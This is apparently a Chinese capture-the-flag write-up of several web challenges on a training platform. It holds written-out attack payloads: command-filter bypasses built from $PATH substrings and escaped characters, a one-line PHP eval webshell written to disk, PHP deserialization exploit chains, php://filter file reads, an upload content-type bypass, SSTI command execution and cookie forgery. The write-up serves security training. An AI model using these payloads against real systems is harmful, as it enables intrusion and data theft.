ez_check

java题暂时不会

狗黑子的变量

考点:截取和拼接$PATH中的字符构造命令

构造方法:

1
2
$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$PATJl/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

构造ls这个命令的结果

1
2
3
4
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //ls
//第一个字母代表PATH里的第几个字符,从0开始,和数组一样 第二个是代表截取几个字符

dirsearch扫描 扫出admin.php 可以看到PATH的内容

image-20250628211338078

于是乎就开始拼接要被替换的字母

${PATH:8;1}at /* cat /*

狗黑子的隐藏

进去只有一个刷新按钮 dirsearch也没有看出东西 F12习惯 看到cmd参数 执行命令 成功

禁了/ env看看 直接出假flag!!!!!!!!image-20250628212358616

ctrl+u得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

1 <?php
2 // 检查是否有POST请求且包含cmd参数
3 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
4 $cmd = $_POST['cmd'];
5
6 // 强制切换到当前目录(重要安全措施)
7 chdir(dirname(__FILE__));
8
9 // 过滤危险字符和关键字
10 $blacklist = array('f','g','cat', 'flag', '&', '|', '`','{','}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\');
11 $is_dangerous = false;
12
13 // 检查命令是否包含黑名单中的任何项
14 foreach ($blacklist as $item) {
15 if (stripos($cmd, $item) !== false) {
16 $is_dangerous = true;
17 break;
18 }
19 }
20
21 // 如果检测到危险操作,回显错误信息
22 if ($is_dangerous) {
23 echo "不支持危险操作";
24 } else {
25 // 检查过滤后的命令是否为空
26 if (!empty($cmd)) {
27 // 执行过滤后的命令
28 system($cmd);
29 }
30 }
31 }
32 ?

直接写木马吧 cmd=echo '<?php @eval($_POST['a']);?>' > a.php

antsword连接成功 执行命令即可

image-20250628213921480

简单的链子

好简单的菜鸟反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A {
public $cmd = 'cat /flag';
function __destruct() {
if (isset($this->cmd)) {
system($this->cmd);
}
}
}

$a = new A();
echo serialize($a);
?>

渗透之王

首先进去是登录界面 帐号admin 随便猜了一个弱口令 提示密码错误 自己拿字典去爆也没爆出来

于是dirsearch扫了一下目录 得到有用的两个路径

image-20250629103626404

访问admin.php得到base64加密的密文 解密后为polarctf

www.zip源码泄露 下载下来发现需要密码 于是输入polarctf 成功解密 打开发现是个弱密码字典 于是我们就使用他的字典 爆出来密码是admin789 成功登录 进入界面点击发现提示非法的文件包含 那就是文件包含

/polarctf/?page=php://filter/convert.base64-encode/resource=about.php

/polarctf/?page=php://filter/convert.base64-encode/resource=hint.php

提示有文件上传界面 现在就是找文件上传入口 这里你可以dirsearch扫 扫出来文件上传路径

image-20250629104228184

image-20250629104209263

很简单的文件上传 改一下content-type即可

image-20250629104323974

antsword连接即可

真假ECR

非预期:

进去就是源代码 禁了一些指令 但是你可以使用转义绕过

?cmd=ca\t /fla\g

预期:

先访问flag.php

得到

1
KeY=aGVpZ291emk= USERID=p8Sjk58 DATA=2JSklNA= 如果这也不明白的话,加上后缀试一试

第一个解码后得到heigouzi 带上后缀php可以访问

image-20250629133659277

参数应该也是cmd 执行命令ls 发现能够读取到这个网站的文件

1
2
3
4
5
cainiao.txt
flag.php
heigouzi.php
index.php
she11.php

查看cainiao.txt

是个解密函数 用就好

1
2
数据:
KeY=aGVpZ291emk= USERID=p8Sjk58 DATA=2JSklNA=
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Decryption {
public function decrypt($data, $key) {
$char = ''; $str = '';
$key = md5($key); $x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($key);
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char.= substr($key, $x, 1);
$x++; }
for ($i = 0; $i < $len; $i++) {
$str.= chr(ord($data[$i]) - ord($char[$i]));
} return $str;
}
}
$data = '2JSklNA=';
$key = 'answer';
$decryption = new Decryption();
$result = $decryption->decrypt($data, $key);
echo $result;
?>

解密出来是wanan 是she11.php的密码 antsword连接即可

nukaka_ser2

没什么好说的 反序列化审链子

看起来很长 其实一下就做出了

pop链子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class FlagReader {
private $logfile;
protected $content;
}

class DataValidator {
}

class FakeDanger {
private $buffer;
}

class VulnerableClass {
public $logger;
private $debugMode = true;
}

$A = new VulnerableClass();
$A -> logger = new FlagReader();
echo base64_encode(serialize($A));
?>

ghost_render

说是md渲染 抓包自己burp尝试 渲染我就想到ssti 测了下还真是

image-20250629143312586

非常简单的ssti 没有过滤 直接执行命令即可 不过flag路径得首先去读取app.py才可以知道flag存储在/var/secret_flag下

image-20250629143858180

rce命令执行系统

ls被过滤 试试转义

image-20250629152942120

访问发f1ag.php得到

1
既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY,给他传个参试一试呢,对了,咱们的靶场叫什么来着?🤔

payload env XOR_KEY=Polar

easyRead

嗯很简单的链子 但是拿flag很神经 flag我执行命令没找到 这道题flag是flag{Hello>>>Hello>>>run}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
Class Read{
public $source;
public $is;
}
class Help{
public $source;
public $str;
}
class Polar {
private $var = "system('ls /');";
}
class Doit{
public $is;
private $source;
}
$a = new Read(); $a1 = new Read();
$a -> source = $a1;
$a1 -> is = new Help();
$a1 -> is -> str = new Doit();
$a1 -> is -> str -> is = new Polar();
echo urlencode(serialize($a));
?>

命运石之门

进去就是验证密码 ctrl+u发现提示 5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB

image-20250629163439476

然后dirsearch扫描发现 passwrod.txt 直接burp开爆 验证码说是不重要 随便填 结果还是要猜万能验证码0000 直接进第二步

还是爆密码 字典是拿到的password.txt内容 爆出来密码是 huan9le1Sam0

直接过人机验证即可得到flag

你也玩铲吗

首先先注册 登陆进去看到ctrl+u看到提示

image-20250629171713533

dirsearch扫描 扫描出来好几个敏感路径

image-20250629171750702

访问/login_admin.html 看到管理员登录界面 结合提示 伪造cookie

image-20250629172110963

修改cookie如下图

image-20250629172143965

再去访问admin_login.php

image-20250629171518524